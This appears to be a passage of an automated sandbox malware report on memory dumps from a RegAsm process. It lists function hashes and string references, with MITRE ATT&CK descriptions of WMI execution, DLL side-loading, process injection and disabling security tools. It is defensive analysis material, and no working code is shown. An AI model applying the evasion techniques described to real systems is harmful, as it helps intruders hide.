Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e8673269bf4f6302d7bab057b9997570decb510bc55cfa239b683efd95944a2
Instruction ID: 6c6c8140156809f66c4c3837a69027d0326890a6a70c30211bbc180a6849209e
Opcode Fuzzy Hash: 0e8673269bf4f6302d7bab057b9997570decb510bc55cfa239b683efd95944a2
Instruction Fuzzy Hash: DD51B4B0F202049BFF745669D854B3F269AD78D351F20442EE91BC73D4CA78DD8297A2

Function 06C054D8 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 076222ab5d272e796e6425e2c1ddd3955512f74343b520d90d136cfdfd33d77d
Instruction ID: 10bb2129f81d7f7aa80f5f325ee1074f8bf7cded4b374a35c676fc7297deb4b8
Opcode Fuzzy Hash: 076222ab5d272e796e6425e2c1ddd3955512f74343b520d90d136cfdfd33d77d
Instruction Fuzzy Hash: 35419E75E006098FEB70CFA9D980AAFF7F2FB84210F50492AE216D7690D731E9458F91

Function 06C05658 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3961c48d20827f90233e52d21e368ede85eec8ad99365f525456b4f8719331f
Instruction ID: c57c0930e516ad3dc70df5880fbd53cee0ca91e1fb0a10afd5932b26639ef583
Opcode Fuzzy Hash: b3961c48d20827f90233e52d21e368ede85eec8ad99365f525456b4f8719331f
Instruction Fuzzy Hash: 8731F675E202059FEF708EA8C58077EBBB2EB45310FA0892EE515C72C0D635DA42DF91

Function 06C02148 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9490a6d3dd82e2fd70f78b6aa1ddbd970185189ae3d378eb264f31f871a1f48b
Instruction ID: 176ec1f2d3a598b24294e3082cd7a5887ad0d416996b06d253eae3db594e6cbc
Opcode Fuzzy Hash: 9490a6d3dd82e2fd70f78b6aa1ddbd970185189ae3d378eb264f31f871a1f48b
Instruction Fuzzy Hash: 9C31A271E102159BDB58CFA4D85869EB7F2FF89310F108529E916EB384DB35EE42CB50

Function 06C02158 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 510678ac6dc8961dfa952f03bbfbffe925028c7be14a59e25032ea59e9773eec
Instruction ID: 5f8f59a6d88c107e8f34769eee3fcc7bd5128294efcb11721bf9ef70f672e12c
Opcode Fuzzy Hash: 510678ac6dc8961dfa952f03bbfbffe925028c7be14a59e25032ea59e9773eec
Instruction Fuzzy Hash: E831A030E102198BDB58CFA4C85869EB7B2FF89310F108529E816EB384DB31EE42CB50

Function 06C03B58 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9ed8407f54e601c8d0cb6dcd65dd6285c6f1c12bf190cea6cbb67551c18c320
Instruction ID: d19b7ce9b7df6db297a258776c760baccafdf3a08f131c64027ad4e956a97c68
Opcode Fuzzy Hash: d9ed8407f54e601c8d0cb6dcd65dd6285c6f1c12bf190cea6cbb67551c18c320
Instruction Fuzzy Hash: BF215A75F042169FEB50DF6AE940AAEBBF5FB48310F148129E905EB390DA35DD418B90

Function 06C03B68 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f13f6e564dc024b131c1e85a6a321d507530ae7c11c371edee9021f4b1c5fe09
Instruction ID: 94008a6d203a6c2034127a3b46e6fa506cfc7eded198d11dd6df15b71af39273
Opcode Fuzzy Hash: f13f6e564dc024b131c1e85a6a321d507530ae7c11c371edee9021f4b1c5fe09
Instruction Fuzzy Hash: 61215A75F0065A9FEB50DF6AD840AAEBBF5FB48310F108029E905E7390EA35ED408B94

Function 0168D3A8 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3722363666.000000000168D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0168D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_168d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 935251b5178f113a10b213957a50cdb85fa134f31e0bd10b865327b3d1fd0c5e
Instruction ID: e1c70dca5de1dd9f3b0b8533c91632b77e25d0d8bb79936ce1465fb9e702b814
Opcode Fuzzy Hash: 935251b5178f113a10b213957a50cdb85fa134f31e0bd10b865327b3d1fd0c5e
Instruction Fuzzy Hash: 6C2122B1604304DFDB05EF58D9C0B26BB65EB84314F20C6ADD9094B386C336E846CA72

Function 0168D1F8 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3722363666.000000000168D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0168D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_168d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7d9fa595510cf922b55575916892def720a83b992ba960fcd9fc7e104aa3728
Instruction ID: f1a7b831045a99c6b42fa9752f572f1ed33e7381266a8a1cb4b51c26ae628abc
Opcode Fuzzy Hash: b7d9fa595510cf922b55575916892def720a83b992ba960fcd9fc7e104aa3728
Instruction Fuzzy Hash: 7D210471604240EFDB15EF94DD94B2ABB65EB84334F24C669DA490B386C336D447CAB2

Function 0168D030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3722363666.000000000168D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0168D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_168d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 485e1932898b328478b2d0fdad25fa4211415d6bed2fbc311e40c917452224bc
Instruction ID: ccd8e12ae3bc2617ad7567754283abc2c2fe9060c4ad1abe7e676b57c5e2fe76
Opcode Fuzzy Hash: 485e1932898b328478b2d0fdad25fa4211415d6bed2fbc311e40c917452224bc
Instruction Fuzzy Hash: AD21F271608244DFDB15EF54DDC0B26BBA1EB84314F24C66DD8494B386C336D847CA72

Function 0168D006 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3722363666.000000000168D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0168D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_168d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 256eaf5ac3d4ed0cf3a1ed1191868ee0308e022b99f65cd6756f1f7816374556
Instruction ID: fa7ab86a7ca9f92a56ce9b6717ac6902dd9e65765c4692cfa1ccb2cc8b1c73d2
Opcode Fuzzy Hash: 256eaf5ac3d4ed0cf3a1ed1191868ee0308e022b99f65cd6756f1f7816374556
Instruction Fuzzy Hash: 98216D715093C09FC707DF64D990711BF71EB46214F29C6DBD8888B2A7C37A985ACB62

Function 06C06DE8 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9539981b87abd4696fdbd333bc883490eb1865fa451b85cbb468988c48131713
Instruction ID: 360b2668f18eeade596d2f3fbb8b237524cf0784910ae3569a3d079898aaa64c
Opcode Fuzzy Hash: 9539981b87abd4696fdbd333bc883490eb1865fa451b85cbb468988c48131713
Instruction Fuzzy Hash: 08219030B101189FEF58DE6AE95469EBBB7EB84320F148529E509EB380DA30ED51CBD0

Function 06C03C78 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5a6716e3a70fc5cb450e22c1e629860469d3b0bf1997e9314dcd1bdf408c973
Instruction ID: e540799bac4f9e411a707afe14cd3a298eb59b42c46246cc9f92fa94fff60a62
Opcode Fuzzy Hash: e5a6716e3a70fc5cb450e22c1e629860469d3b0bf1997e9314dcd1bdf408c973
Instruction Fuzzy Hash: 3811A131B101284FDB54AA7AD8146AE77E7EBC8310F01853AC50AE7384DE24DD028BD0

Function 06C042B8 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 706a475481d6388b851a04a68f60d63dcc79c2c7cff6abe4526fe0f57f818833
Instruction ID: 8547d3ea40353b7b180054e73f17cde4b5bca26a669cc8b6ce4f1fc439e08ead
Opcode Fuzzy Hash: 706a475481d6388b851a04a68f60d63dcc79c2c7cff6abe4526fe0f57f818833
Instruction Fuzzy Hash: 2901BC70B101109FEBA9967D9814B6BB7DBDBCD610F10C43EE20ACB395DD61DC0283A1

Function 06C03930 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f987d55f9b96d454df40ba2cd4d39b143f7d05a0771c25f96af9fa8c2703f370
Instruction ID: 4a81e61a827d3870a731848526668848b77b76467092db23a4a99751925baef0
Opcode Fuzzy Hash: f987d55f9b96d454df40ba2cd4d39b143f7d05a0771c25f96af9fa8c2703f370
Instruction Fuzzy Hash: 3521D3B5D01259AFDB10DF9AD984ADEFBB4FB48314F10812AE918B7340C774A944CFA5

Function 06C0EE61 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bac10b9210f23690e8c8dffd59abd4cb24d996b1f75ccaa5cab54933d80d8ee0
Instruction ID: 9aa298e7de34f2835930992cd4509accd9b112b800a4d5ca76f74e3f2963949d
Opcode Fuzzy Hash: bac10b9210f23690e8c8dffd59abd4cb24d996b1f75ccaa5cab54933d80d8ee0
Instruction Fuzzy Hash: CC01BC35B101145FDB759A2D949072B7BD7EBC9210F24883DF10ACB385D962DD028395

Function 06C03C68 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ad1cd6cd00b86317d96e8baa2baa66fb586eed3864a63d6aa9bf73fdcf70ab6
Instruction ID: ffa24e43169ef694b3e07eb4b086c2c6ac9b573ec709c8c9e5db68149c9e2414
Opcode Fuzzy Hash: 3ad1cd6cd00b86317d96e8baa2baa66fb586eed3864a63d6aa9bf73fdcf70ab6
Instruction Fuzzy Hash: 5F01D476B101285BDB94A97E9C246EF7BABABC8350F00413AD51AD7284EF24DD0287E1

Function 0168D3A3 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3722363666.000000000168D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0168D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_168d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58a893419e90e8b14bbeba2baa231337c5ba86670ff65a75270ba417a41c023a
Instruction ID: 459a5711a311fe93a82544375a00731b7bf07edc2988b67379281887c1ce0302
Opcode Fuzzy Hash: 58a893419e90e8b14bbeba2baa231337c5ba86670ff65a75270ba417a41c023a
Instruction Fuzzy Hash: DA11EE75504280CFCB02DF58C9C0B15BB72FB84314F24C6AED9494B392C33AE44ACB62

Function 0168D1F3 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3722363666.000000000168D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0168D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_168d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1240cc8bc762b1905ebe37290840447075639f42ea7fc5bd4be17e4377c2e60
Instruction ID: 6568c97c6f82435ac10ef40d1bb647c33d54e7af0597713774bdf97e3793a843
Opcode Fuzzy Hash: e1240cc8bc762b1905ebe37290840447075639f42ea7fc5bd4be17e4377c2e60
Instruction Fuzzy Hash: 2B11BF76504280DFDB12DF54D9C4B15FF61FB84324F28C6AAD9494B786C33AD44ACBA2

Function 06C03938 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ced72c317c875c1a719f45b81853619a3ab23c8a78fd4b93a3d04d7746a4b10c
Instruction ID: dce08e09b74aa236f2aff654a0a94b71460218b4047e31a985513f7857341c27
Opcode Fuzzy Hash: ced72c317c875c1a719f45b81853619a3ab23c8a78fd4b93a3d04d7746a4b10c
Instruction Fuzzy Hash: F411E2B5D01259AFDB10DF9AD984ADEFBB4FB48324F10812AE918A7340C774A944CFA5

Function 06C042C8 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58726e3caab52bc44cafb25f4beea35fe329183fb04dbfba7069cbb3eb15b500
Instruction ID: 5a9c7d2223c98d8c7e9d44c38f5ced29a4aec23e386407d85f30054023ac33f1
Opcode Fuzzy Hash: 58726e3caab52bc44cafb25f4beea35fe329183fb04dbfba7069cbb3eb15b500
Instruction Fuzzy Hash: 2F016D71B101108FEB6895BE9454B6FA7DBDBC9624F20C43EE60EC7384D965DD024395

Function 06C0EE70 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc8a7bfc96fc08ac528851c11f8d51f5dce6e195caeaa6a8af07311fcbedbc17
Instruction ID: f423598bc7b0bbb58a5fa1c6039d755dd4a364c69910a83945f8ace2d23c387d
Opcode Fuzzy Hash: dc8a7bfc96fc08ac528851c11f8d51f5dce6e195caeaa6a8af07311fcbedbc17
Instruction Fuzzy Hash: 71018C35B105145BEBA5956D949072FB7DBEBCD620F20883DF50ACB384DE25DD0283D5

Function 06C0A3D8 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e2874d99f8466ffd5f75a498bc6c7f41b3ddd4e2f33474c870dfd99701b39b9
Instruction ID: f13fb94778650e2a8602322382cedb2f5dc4b17b39674e0c7b1f51f21b83ebb7
Opcode Fuzzy Hash: 6e2874d99f8466ffd5f75a498bc6c7f41b3ddd4e2f33474c870dfd99701b39b9
Instruction Fuzzy Hash: 5A01D63AF102105FEB94DABCD85576B67D2EB89714F10883DF10ACB396EE25DD428781

Function 06C0A3E8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cabc9545f35773ba3af30be6a9b0d6d6ff62759a3b05df147d19b25270fce1f2
Instruction ID: dfbd773e0965c1c25594b2acd2ddc946f5e928f1838991f925b069562985cc69
Opcode Fuzzy Hash: cabc9545f35773ba3af30be6a9b0d6d6ff62759a3b05df147d19b25270fce1f2
Instruction Fuzzy Hash: 0A01A439B102145FEB64DABDD85571BB7D6EB89720F10883CF10AC7382EE25DD428791

Function 0167D8B1 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3722305841.000000000167D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0167D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_167d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60d45fc779ddc4e784883a949ac4a07c4dbd5c58b4d19af2751ac60e5264f25e
Instruction ID: 1fc685ac1953e2107f2822e27c1b1dad770f16167fd5bbbc121a2e1ba7e1c356
Opcode Fuzzy Hash: 60d45fc779ddc4e784883a949ac4a07c4dbd5c58b4d19af2751ac60e5264f25e
Instruction Fuzzy Hash: 110126315083449BF7208F95DDC4B27BF98DF40265F18C92AED485F282C7389841CAB2

Function 0167D8B0 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3722305841.000000000167D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0167D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_167d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11ca4ccefa89e7a561ed283e8e3c1f4dfbab91c2124634334e521d5486c47233
Instruction ID: 2d9a74b5884c32bceefd4a950c2dd5aabd4efbef71776d8f93141fb1c9b88a87
Opcode Fuzzy Hash: 11ca4ccefa89e7a561ed283e8e3c1f4dfbab91c2124634334e521d5486c47233
Instruction Fuzzy Hash: 03F0C2714083449EEB218E0ADD84B62FF98DF40735F18C95AED485F282C378A840CA71

Function 06C06530 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34e302e3c04731730baefcf0e2c134c32e33ed5eca619e13a382005299941211
Instruction ID: 7e64bd3b6f49152e955e19e9cb94a2efa7282151118d7ae08f22ba2b42c57e94
Opcode Fuzzy Hash: 34e302e3c04731730baefcf0e2c134c32e33ed5eca619e13a382005299941211
Instruction Fuzzy Hash: C6E0D8B1E15308AFEB90CD71C90575E776DD742304F2048A9D408D7282E536CE119780

Non-executed Functions

Function 06C07770 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$q, xrefs: 06C078BA
$q, xrefs: 06C07CFB
$q, xrefs: 06C07C46
$q, xrefs: 06C07D07
$q, xrefs: 06C07889
$q, xrefs: 06C078C6
$q, xrefs: 06C07CF1
$q, xrefs: 06C07C52
$q, xrefs: 06C07895
$q, xrefs: 06C07CE5

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q$$q$$q$$q$$q$$q$$q
API String ID: 0-1298971921
Opcode ID: ca93ffe99357f202197b632b6ce377392f9decd060423a7a5bd2c66cc7b78961
Instruction ID: ff62fbbb0eaa2c5d98cc6e8efe99929e0f84af3f79106ed2b3e910e05843712f
Opcode Fuzzy Hash: ca93ffe99357f202197b632b6ce377392f9decd060423a7a5bd2c66cc7b78961
Instruction Fuzzy Hash: 0E12FD34E002198FEB68DF65D854AADB7B2FF88301F248569D406AB394DB35ED85CF90

Function 06C0AA08 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$q, xrefs: 06C0AAFE
$q, xrefs: 06C0AB90
$q, xrefs: 06C0AB0A
$q, xrefs: 06C0AB65
$q, xrefs: 06C0AB84
$q, xrefs: 06C0ABC6
$q, xrefs: 06C0ABBA
$q, xrefs: 06C0AB59

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q$$q$$q$$q$$q
API String ID: 0-3886557441
Opcode ID: 3dc348f1c7f44c9ea362313fa7439d45238740954dccc444844ca478bb983073
Instruction ID: 6d787adc7e440d69d24b8ea9dfb7c856c5244853d1dfcaf8effb7183c1f75e15
Opcode Fuzzy Hash: 3dc348f1c7f44c9ea362313fa7439d45238740954dccc444844ca478bb983073
Instruction Fuzzy Hash: 02916D30E00309DFFB68DBA5D9957AE77B6FF44301F248529E8029B291DB789D41CB94

Function 06C07170 Relevance: 7.9, Strings: 6, Instructions: 405COMMON

Download Yara Rule

Strings

$q, xrefs: 06C07452
$q, xrefs: 06C074AC
$q, xrefs: 06C07684
$q, xrefs: 06C0760C
$q, xrefs: 06C07678
$q, xrefs: 06C074B8

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q$$q$$q
API String ID: 0-2069967915
Opcode ID: 7621cb032cd41c8649e37052f0e8f25054df5eb0b63fb04aeebb1b9d9931dc25
Instruction ID: b2a36887ce64bc7289dc843d35cc79044fa70119c0e4d2f032855956f65272bd
Opcode Fuzzy Hash: 7621cb032cd41c8649e37052f0e8f25054df5eb0b63fb04aeebb1b9d9931dc25
Instruction Fuzzy Hash: FDF12B34B00208DFEB59DFA5D554A6EBBB2FF88301F248568D4069B394DB35EC82CB95

Function 06C084A8 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$q, xrefs: 06C0870E
$q, xrefs: 06C08702
$q, xrefs: 06C08773
$q, xrefs: 06C08767

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q
API String ID: 0-4102054182
Opcode ID: 9f365539e7d4c6f30e4fcdc1e01aaf55c2d72cfb54e1341cb764c7b4efda73f1
Instruction ID: 598c5cf96e4f691e5195f09fc07b776186a8fee43a8f9d7f6aeb86e1279921c6
Opcode Fuzzy Hash: 9f365539e7d4c6f30e4fcdc1e01aaf55c2d72cfb54e1341cb764c7b4efda73f1
Instruction Fuzzy Hash: 3DB12734E012088FEF64DBA9D49466EBBA2FF84300F28C52DD4069B394DB74DD82CB95

Function 06C0AD90 Relevance: 5.2, Strings: 4, Instructions: 172COMMON

Download Yara Rule

Strings

$q, xrefs: 06C0AF14
$q, xrefs: 06C0AEC1
$q, xrefs: 06C0AF6C
$q, xrefs: 06C0AF43

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q
API String ID: 0-4102054182
Opcode ID: b0b79405e9e079bbf23c6be150c00e23d9fa7a9b8d6951bf21f2eef0675b6488
Instruction ID: 1ed85c97754b49a940f644305ebc15359ff22d90fe844ebf9fa6b5e9a6b56287
Opcode Fuzzy Hash: b0b79405e9e079bbf23c6be150c00e23d9fa7a9b8d6951bf21f2eef0675b6488
Instruction Fuzzy Hash: F951AE30E103059FEF64DBA4E8806AEB7B6EB84311F14852DE916DB385DB30ED41CB94

Function 06C088C0 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

LRq, xrefs: 06C089B3
LRq, xrefs: 06C08A02
$q, xrefs: 06C0894B
$q, xrefs: 06C0893F

Memory Dump Source

Source File: 0000000A.00000002.3736795199.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c00000_RegAsm.jbxd

Similarity

API ID:
String ID: LRq$LRq$$q$$q
API String ID: 0-2204215535
Opcode ID: 1f20989699fbd14b8b96e308768e4fe8bf3126cad03e2558b653e55012d5801e
Instruction ID: 580b6aa89d4b14545a82acb9d1d399e076feea3d577f61dc182a2ee7b4fc5fa4
Opcode Fuzzy Hash: 1f20989699fbd14b8b96e308768e4fe8bf3126cad03e2558b653e55012d5801e
Instruction Fuzzy Hash: 0E51BF34B012059FEF58EB69D980A6AB7F6FF88310F14866DE4069B3D5DA30EC41CB95

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
